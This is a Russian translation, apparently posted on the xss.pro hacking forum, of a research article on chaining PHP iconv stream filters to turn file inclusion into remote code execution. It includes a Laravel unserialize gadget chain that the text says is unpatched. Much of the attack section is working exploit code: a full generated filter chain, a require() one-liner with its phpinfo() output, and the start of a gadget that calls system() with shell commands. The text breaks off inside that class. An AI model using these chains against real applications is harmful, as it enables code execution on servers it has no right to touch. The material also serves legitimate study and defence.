• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Цепочки фильтров PHP: что это и как использовать

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия нод ETHEREUM и тестов

Поиск новых цепочек гаджетов для эксплуатации уязвимостей десериализации может быть утомительным. В этой статье мы объясним, как объединить недавно обнаруженную технику под названием PHP filters [LOKNOP-GIST], чтобы преобразовать примитивы включения файлов в PHP-приложениях в удаленное выполнение кода. Для поддержки наших объяснений мы будем опираться на цепочки гаджетов включения файлов в Laravel, которые были обнаружены в ходе этого исследования.

Исследование цепочек POP

Все началось с исследования цепочек гаджетов для улучшения навыков анализа кода на PHP. Сначала мы начали с одного из моих любимых фреймворков: Symfony. К сожалению, задача оказалась сложнее, чем ожидалось, так как большинство потенциально интересных объектов защищены следующим механизмом:

PHP:
class RandomClassThatSeemedPromising {
    [...]
    public function __wakeup()
    {
        throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
    }
    public function __destruct(){
        //cool stuff that seemed exploitable
    }
}

Через некоторое время, не найдя буквально ничего, мы попробовали взглянуть на другой распространенный PHP-фреймворк: Laravel.

Цепочка включения файлов на фреймворке Laravel

На Laravel исследования дали результаты гораздо быстрее. Рабочая цепочка включения файлов POP была найдена за несколько часов для пакета laravel/framework v9.34.0. Хотя с разработчиками Laravel связались по поводу этой проблемы, они не собираются ее исправлять, поскольку, по их словам, проблема заключается в использовании unserialize() на ненадежных пользовательских вводах.
laravel_gadget_incomplete.png


Здесь не будет рассматриваться вопрос о несериализованности PHP, поскольку уже существует несколько хороших ресурсов на эту тему, например, этот: клик
Найденная нами цепочка работает следующим образом: в src/Illuminate/Routing/PendingResourceRegistration.php

PHP:
namespace Illuminate\Routing;

use Illuminate\Support\Arr;
use Illuminate\Support\Traits\Macroable;

class PendingResourceRegistration
{
        $this->name = $name;
        $this->options = $options;
        $this->registrar = $registrar;
        $this->controller = $controller;
[...]
    public function register()
    {
        $this->registered = true;
        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
[...]
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }
}

При вызове функции __destruct(), если значение $this->registered не определено, поток выполнения сначала переходит к функции register объекта PendingResourceRegistration. Последняя затем вызывает функцию register другого объекта, который может быть определен произвольно. С этого момента остается только найти в пакетах Laravel другой объект, определяющий функцию register. Поскольку PHP является слабо типизированным языком, мы можем установить значение атрибута register на любой другой объект. Кроме того, если метод вызывается с большим количеством параметров, чем его прототип, дополнительные параметры будут проигнорированы. Это означает, что мы можем вызывать любые методы register из любого объекта Laravel с количеством параметров от нуля до трех.

в src/Illuminate/Routing/RouteFileRegistrar.php

PHP:
namespace Illuminate\Routing;

class RouteFileRegistrar
{
    protected $router;
[...]
    public function register($routes)
    {
        $router = $this->router;

        require $routes;
    }
}

Класс RouteFileRegistrar имеет метод register с одним аргументом и, как глазурь на торте, есть разрешительная функция require, в которой мы полностью контролируем параметр $routes.
С этого момента мы имеем локальное включение файла на последней версии Laravel. Однако этого недостаточно по сравнению с множеством уже существующих способов получить выполнение кода через несериализацию в Laravel, как показывает список доступных поп-цепочек phpggc.

Laravel_chains.png


После некоторого времени копания в попытках преобразовать этот примитив включения файла в удаленное выполнение кода, коллега (@LoadLow) посоветовал нам взглянуть на цепочки фильтров PHP. Эксплойт не является универсальным, поскольку в нем упущено множество возможных полезных нагрузок, но с этого момента мы хотели найти способ адаптировать его к нашей ситуации.

PHP-фильтры в помощь

В мире существует около 7000 языков, на которых говорят. Для того чтобы большинство людей на Земле могли пользоваться Интернетом и общаться друг с другом, необходимо включить множество печатных символов. Все мы знаем базовую таблицу кодировки ASCII, но она слишком мала, чтобы говорить на японском языке или даже на греческом, который содержит такие символы, как 'λ', 'ν', 'π'. Поэтому, чтобы иметь возможность печатать символы других языков или даже эмодзи ☺, было создано множество кодировочных таблиц для преобразования или даже перевода символов с одного языка на другой, когда это возможно. Все эти примеры относятся только к языкам, на которых говорят люди! Многие RFC были разработаны для других протоколов, чтобы сделать символы интерпретируемыми на старых системах. В Linux вы можете перечислить псевдонимы таблиц преобразования с помощью команды iconv -l.
Код:
$ iconv -l
The following list contains all the coded character sets known.  This does
not necessarily mean that all combinations of these names can be used for
the FROM and TO command line parameters.  One coded character set can be
listed with several different names (aliases).

  437, 500, 500V1, 850, 851, 852, 855, 856, 857[...]


Эти таблицы преобразования также доступны через обертки php://convert.iconv.*.*: [PHP-DOC-WRAPPER-CONVERT-ICONV].

Фильтры convert.iconv.* доступны, если включена поддержка iconv, и их использование эквивалентно обработке всех данных потока с помощью iconv(). Эти фильтры не поддерживают параметры, но вместо этого ожидают, что входная и выходная кодировки будут указаны как часть имени фильтра, т.е. либо как convert.iconv.<input-encoding>.<output-encoding>, либо convert.iconv.<input-encoding>/<output-encoding> (обе нотации семантически эквивалентны).

Эта обертка устанавливает связь между ней и PHP-функцией iconv [PHP-DOC-ICONV-FUNC].

Этот трюк эксплуатации был впервые подробно описан в статье CTF, которая ссылалась на другую статью от gynvael [GYNVAEL-BLOGPOST] с использованием PHP-оберток для других целей в 2018 году. Этот трюк не нов, но он начал демократизироваться только в конце 2021 года.

Копаем дальше, и это работает

С помощью iconv можно преобразовать множество символов из строки, используя различные кодировки, но обязательно нужно контролировать сгенерированные данные. Мы можем решить обе проблемы, используя base64.

Контроль сгенерированных данных

Для того чтобы иметь возможность удалять нежелательные символы, способ работы base64decode на PHP довольно интересен.

PHP:
$ php -r "echo base64_encode('base64');"
YmFzZTY0

$ php -r "echo base64_decode('YmFzZTY0');"
base64

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

$ echo '@_>YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

В приведенном выше примере строка "base64" кодируется base64, а затем декодируется. Самое интересное происходит, когда мы добавляем строку "@_>" к нашему значению base64. Как вы можете видеть, PHP не выбрасывает ошибки, а просто игнорирует их и работает так, как будто их не существует! Такое поведение в нашем случае является чистым золотом, поскольку позволяет нам отфильтровать допустимые символы.
Даже если фильтр PHP base64-decode и функция base64_decode очень близки по своему поведению, между ними есть разница в том, как интерпретируется символ '='.

PHP:
$ echo 'YmFzZTY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
base64

$ php -r "echo base64_decode('YmFzZ==TY0');"
base64

$ echo 'YmFzZ==TY0' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

$ echo 'YmFzZTY0==' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"

Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1

Как мы видим, по какой-то причине фильтр base64-decode не совсем корректно обрабатывает знаки равенства по сравнению с PHP-функцией base64_decode по умолчанию. Чтобы решить эту проблему, необходимо избавиться от знаков равенства. Одним из решений является использование кодировки UTF7, которая преобразует знаки равенства в другие символы, которые не беспокоят фильтр base64-decode.

Код:
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"

base64���

Добавление символов

Теперь, когда мы можем отфильтровать правильные символы от мусора, давайте обсудим сердце этого трюка: добавленные символы из кодировки! Кто-то может спросить: "Зачем кодировке добавлять символы?". Чтобы ответить на этот вопрос, мы должны немного покопаться в RFC некоторых кодировок, потому что действительно, некоторые из них действительно добавляют символы посещаемым способом.

Кодировка Юникод

В некоторых случаях подписи добавляются в зависимости от кодировки. В случае с Unicode (UTF-16) требуется указать вашей системе порядок байтов, который следует использовать (Byte Order Mark BOM), откопав бит в RFC 2781, ссылающийся на это [RFC-2781].

Стандарт Unicode и ISO 10646 определяют символ "ZERO WIDTH NON-BREAKING SPACE" (0xFEFF), который также неофициально известен как "BYTE (сокращенно "BOM").Это использование, предложенное стандартом Unicode и ISO 10646 Приложение F (информативное), заключается в добавлении символа 0xFEFF в поток символов Юникода в качестве "подписи"; получатель такого сериализованного потока может затем использовать начальный символ как подсказку о том, что поток состоит из символов Юникода, и как способ распознать порядок сериализации. В сериализованном UTF-16, дополненном такой сигнатурой, порядок является следующим big-endian, если первые два октета - 0xFE, а затем 0xFF; если они 0xFF, за которым следует 0xFE, то порядок - little-endian. Обратите внимание, что 0xFFFE не является символом Юникода, именно для того, чтобы сохранить полезность 0xFEFF в качестве метки порядка байтов. Это просто пример того, почему символ может быть добавлен к строке в зависимости от используемой кодировки. Кодировка корейских символов для интернет-сообщений Кодировка корейских символов для интернет-сообщений (ISO-2022-KR) подробно описана в следующем RFC: [RFC-1557]. Предполагается, что начальным кодом сообщения является ASCII. ASCII и корейские символы можно различить с помощью функции сдвига функции. Например, код SO оповестит нас о том, что предстоящий байт будет корейским символом, как определено в KSC 5601. Для возврата к ASCII используется код SI. Таким образом, последовательность экранирования, функция сдвига и набор символов, используемые в сообщении, выглядят следующим образом:

Код:
SO KSC 5601

SI ASCII

ESC $ ) C Появляется один раз в начале строки

перед любым появлением символов SO.

По сути, это означает, что для того, чтобы сообщение считалось ISO-2022-KR, оно должно начинаться с последовательности "ESC $ ) C".
Эта кодировка является одной из версий 7-битного кода ISO 2022 наряду с ISO-2022-CN, ISO-2022-CN-EXT, ISO-2022-JP, ISO-2022-JP-1, ISO-2022-JP-2. Однако в этом списке кодировок ISO-2022-KR - единственная, в которую добавляются символы с помощью функции iconv PHP.

<
PHP:
?php

$iso_2022_7bits_encodings = array('ISO-2022-CN', 'ISO-2022-CN-EXT', 'ISO-2022-JP', 'ISO-2022-JP', 'ISO-2022-JP-2', 'ISO-2022-KR');

foreach ($iso_2022_7bits_encodings as $elem){
    echo "[$elem] : hex [";
    echo bin2hex(iconv('UTF8',$elem, 'START'))."]\n";
}
PHP:
$ php iso_2022_7bits_encodings.php
[ISO-2022-CN] : hex [5354415254]
[ISO-2022-CN-EXT] : hex [5354415254]
[ISO-2022-JP] : hex [5354415254]
[ISO-2022-JP] : hex [5354415254]
[ISO-2022-JP-2] : hex [5354415254]
[ISO-2022-KR] : hex [1b2429435354415254]

Кодировки, используемые для добавления символов



В следующей таблице приведены результаты обсуждения кодировок ISO/IEC 2022 и Unicode. Эти кодировки добавляют символы без нарушения целостности строки base64, что делает их пригодными для использования в цепочках фильтров PHP.

Идентификатор кодировки Добавляемые символы
Encoding identifierPrepended characters
ISO2022KR\x1b$)C
UTF16\xff\xfe
UTF32\xff\xfe\x00\x00

Преобразуйте их и получите то, что хотите

Последняя часть нашего путешествия по кодированию вполне очевидна. Мы только что продемонстрировали, что добавление символов путем чтения файла вполне осуществимо. Теперь было бы здорово иметь возможность добавлять произвольные символы. Этого можно достичь путем цепочки фильтров преобразования.

Пример: добавьте 8 к вашей цепочке

Каждый псевдоним преобразования напрямую связан с таблицей, содержащей связанные с ним печатные символы. Мы стремимся перейти от одной таблицы к другой, чтобы получить определенный символ. Для того чтобы добавить 8, нам понадобятся таблицы iso8859-10 (для скандинавских языков) и UNICODE.

Таблица Iso8859-10 (латиница 6)

x0x1x2x3x4x5x6x7x8x9xAxBxCxDxExF
0x
1x
2xSP!"#$%&'()*+,-./
3x0123456789:;<=>?
4x@ABCDEFGHIJKLMNO
5xPQRSTUVWXYZ[\]^_
6x`abcdefghijklmno
7xpqrstuvwxyz{|}~
8x
9x
AxNBSPĄĒĢĪĨͧĻĐŠŦŽSHYŪŊ
Bx°ąēģīĩķ·ļđšŧžūŋ
CxĀÁÂÃÄÅÆĮČÉĘËĖÍÎÏ
DxÐŅŌÓÔÕÖŨØŲÚÛÜÝÞß
Exāáâãäåæįčéęëėíîï
Fxðņōóôõöũøųúûüýþĸ


Part of UNICODE table (UTF 16)
x00x01x02...x35x36x37x38...
00xNULSOHSTX5678
...
01xĀāĂĵĶķĸ/
...

Теория уже подробно изложена, давайте посмотрим, как она работает на конкретном примере.

prepend_character8.png


Как показано выше, добавление 8 может быть выполнено в три этапа:

Преобразуйте строку в UTF16 для добавления '\xff\xfe'.
Преобразуйте созданную строку в latin6, '\xff' эквивалентен латинскому символу kra 'ĸ'
Преобразуйте строку обратно в UTF16, где символ 'ĸ' эквивалентен '\x01\x38'
Наконец, при печати цепочка будет интерпретироваться посимвольно, так что '\x38' превратится в '8'

PHP:
<?php
$return = iconv( 'UTF8', 'UTF16', "START");
echo(bin2hex($return)."\n");
echo($return."\n");
$return2 = iconv( 'LATIN6', 'UTF16', $return);
echo(bin2hex($return2)."\n");
echo($return2."\n");

Код:
$ php prepend8.php
fffe53005400410052005400
��START
fffe3801fe005300000054000000410000005200000054000000
��8�START

Теперь давайте обсудим трудности, возникающие при попытке дописать произвольные символы.
Первые попытки сгенерировать другие символы base64 после обнаружения этого метода были основаны на скрипте, найденном на Hacktricks [HACKTRICKS-LFI2RCE-FILTERS]. Этот скрипт в основном перебирает любой распространенный идентификатор таблицы iconv случайным образом и проверяет, является ли добавляемый символ одним из 64 требуемых. Но этот сценарий не проверяет, сохраняется ли целостность других символов из исходной строки или нет.
На сайте Hacktricks есть список символов для перебора, который кажется многообещающим, но он просто не может работать на полной цепочке, и причина этого довольно интересна! Давайте проиллюстрируем эту цепочку, добавив к строке символ 'b':

Код:
conversions = {
[...]
 'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
[...]
}

Как мы видим, используется кодек CP1399, который является псевдонимом одной из японских версий расширенного двоично-кодированного десятичного кода обмена (EBCDIC). Он используется в качестве таблицы преобразования в этой цепочке (очень близко к кодеку IBM 1027). Эта кодировка использовалась в системах IBM. Однако, согласно странице Википедии [EBCDIC-WIKI], между EBCDIC и ASCII существовали проблемы совместимости. Действительно, как видно из следующей таблицы, шестнадцатеричное значение 42 - это не символ "B", а 。 в EBCDIC.

IBM 1027
x0x1x2x3x4x5x6x7x8x9xAxBxCxDxExF
[...]
4xSP¢.<(+|
5x&!$*);¬
6x-/,%_>?
[...]

Хотя это может показаться бессмысленным, давайте посмотрим, что происходит шаг за шагом в нашей строке START, когда мы пытаемся добавить к ней 'b', следуя фильтрам.

prepend_characterb_not_working.png


Кодек UCS4 не был подробно описан здесь, поскольку он очень близок к UTF32. Он только добавляет нулевые байты к каждому символу.

PHP:
<?php
$return = iconv( 'UTF8', 'CSISO2022KR',"START");
echo(bin2hex($return)."\n");
echo($return."\n");
$return2 = iconv( 'CP1399', 'UTF8',$return);
echo(bin2hex($return2)."\n");
echo($return2."\n");
$return3 = iconv( 'UTF8', 'UCS4', $return2);
echo(bin2hex($return3)."\n");
echo($return3."\n");
PHP:
php test.php
1b2429435354415254
START
c28fc284c289efbda2efbdabefbdac1aefbdaaefbdac

    「ォャ�ェャ
0000008f00000084000000890000ff620000ff6b0000ff6c0000001a0000ff6a0000ff6c
����b�k�l��j�l

Таким образом, символ 'b' успешно добавляется, но содержимое также изменяется, включая уже сгенерированное содержимое. Строка START была преобразована во время процесса. Это означает, что цепочка фильтров уничтожит любой символ, созданный вами до этого. Следуя этой логике, даже если CSISO2022KR кажется многообещающим, на самом деле он не так уж и полезен. Он добавляет цепочку '\x1b$)C', а поскольку 'C' является одним из 64 символов base64, если одна из ваших цепочек использует эту кодировку, а вы добавляете что-то еще, кроме 'C', это означает, что ваша цепочка фильтра не будет стабильной. Честно говоря, эту часть статьи было труднее всего написать. Мы действительно хотели сосредоточиться на полном анализе нестабильной цепочки, чтобы полностью понять, что работает, а что нет. Кодеки IBM разнообразны, каждый из них делает что-то по-своему, и понять, как они преобразуют строку в UTF8 - это опять же другая история. Некоторые таблицы близки друг к другу и отличаются всего несколькими символами, поэтому построение цепочки от одной к другой может быстро занять большое количество времени.

Исправление основной проблемы: требование корректного пути к файлу

Одной из основных проблем этого трюка было требование знать правильный путь к файлу для включения/требования в обертке PHP. Теперь это не так, потому что PHP-обертки позволяют вкладывать один в другой!
PHP:
$ php -r "echo require('php://filter/convert.base64-decode/resource=php://temp');"

1
Используя PHP-обертку php://temp в качестве входного ресурса всей цепочки фильтров, больше нет необходимости угадывать правильный путь в файловой системе цели, что зависит от операционной системы. Также не нужно будет угадывать путь, который разрешен директивами open_basedir.

Объединение всего вместе в скрипте

Используя обнаруженные нами элементы, мы создали скрипт для автоматической генерации корректных цепочек фильтров. Этот скрипт был в значительной степени вдохновлен двумя ресурсами: [WUPCO-GITHUB-REPO], [LOKNOP-GIST] и был дополнен дополнительными и более мелкими цепочками, сгенерированными методом перебора. Каждый сгенерированный символ был протестирован, чтобы убедиться в целостности цепочек при соединении фильтров. По сути, он преобразует строку в правильную цепочку фильтров PHP. Например, следующая цепочка вызовет код <?php phpinfo(); ?> на require или include.

Код:
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();  ?> '
[+] The following gadget chain will generate the following code : <?php phpinfo();  ?>  (base64 value: PD9waHAgcGhwaW5mbygpOyAgPz4g)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

php -r "require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp');"
phpinfo()
PHP Version => 7.4.30
[...] php.net.�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�

Сценарий можно найти в следующем репозитории: [GITHUB-SYN-PHP-FILTER-GENERATOR]. Не стесняйтесь использовать его и просить о новых возможностях.

PHP-транслит

Поскольку наши цепочки полностью основаны на функции PHP iconv, было интересно немного покопаться, чтобы понять, возможно ли извлечь из iconv другие возможности. В документации подробно описан способ перевода или игнорирования символов из одной кодировки в другую.

to_encoding -> Желаемая кодировка результата.

Если к to_encoding добавлена строка //TRANSLIT, то активируется транслитерация. Это означает, что если символ не может быть представлен в целевой кодировке, он может быть аппроксимирован одним или несколькими похожими символами. Если добавлена строка //IGNORE, то символы, которые не могут быть представлены в целевой кодировке, отбрасываются беззвучно. В противном случае генерируется E_NOTICE, и функция возвращает false.

Поиграв с кодировкой URL, удалось использовать эту функцию и в наших цепочках!


Код:
$ echo -n -e '€' > test.txt

$ php -r "echo file_get_contents('php://filter/convert.iconv.utf8.\'ISO-8859-1%2F%2FTRANSLIT%2F%2FIGNORE\'/resource=test.txt');"
EUR

Однако, поскольку он требует много символов, было сочтено более эффективным не осуществлять трансляцию в наших цепочках PHP-фильтров.
Превращение цепочки включения файлов Laravel в удаленное выполнение кода

Новая цепочка POP для выполнения кода на фреймворке Laravel

Теперь, когда цепочки фильтров iconv немного демистифицированы, давайте вернемся к нашим "лошадям". Поскольку теперь мы можем превратить любой примитив включения файла в удаленное выполнение кода, давайте модернизируем нашу первоначально обнаруженную цепочку гаджетов Laravel.

laravel_gadget_0.png


Окончательная цепочка PHP-гаджетов выглядит следующим образом:
PHP:
<?php

namespace Illuminate\Routing;

class RouteFileRegistrar
{
    protected $router;
    public function __construct(){
        $this->router[0] = "system";
        $this->router[1] = "id; ls -lisah";
    }
}

class PendingResourceRegistration
{
    protected $registrar;
    protected $name;
    protected $controller;
    protected $options;
    protected $registered;

    public function __construct(){
        $this->registrar = new RouteFileRegistrar();
        //<?=call_user_func($router[0], $router[1]);   ?> 
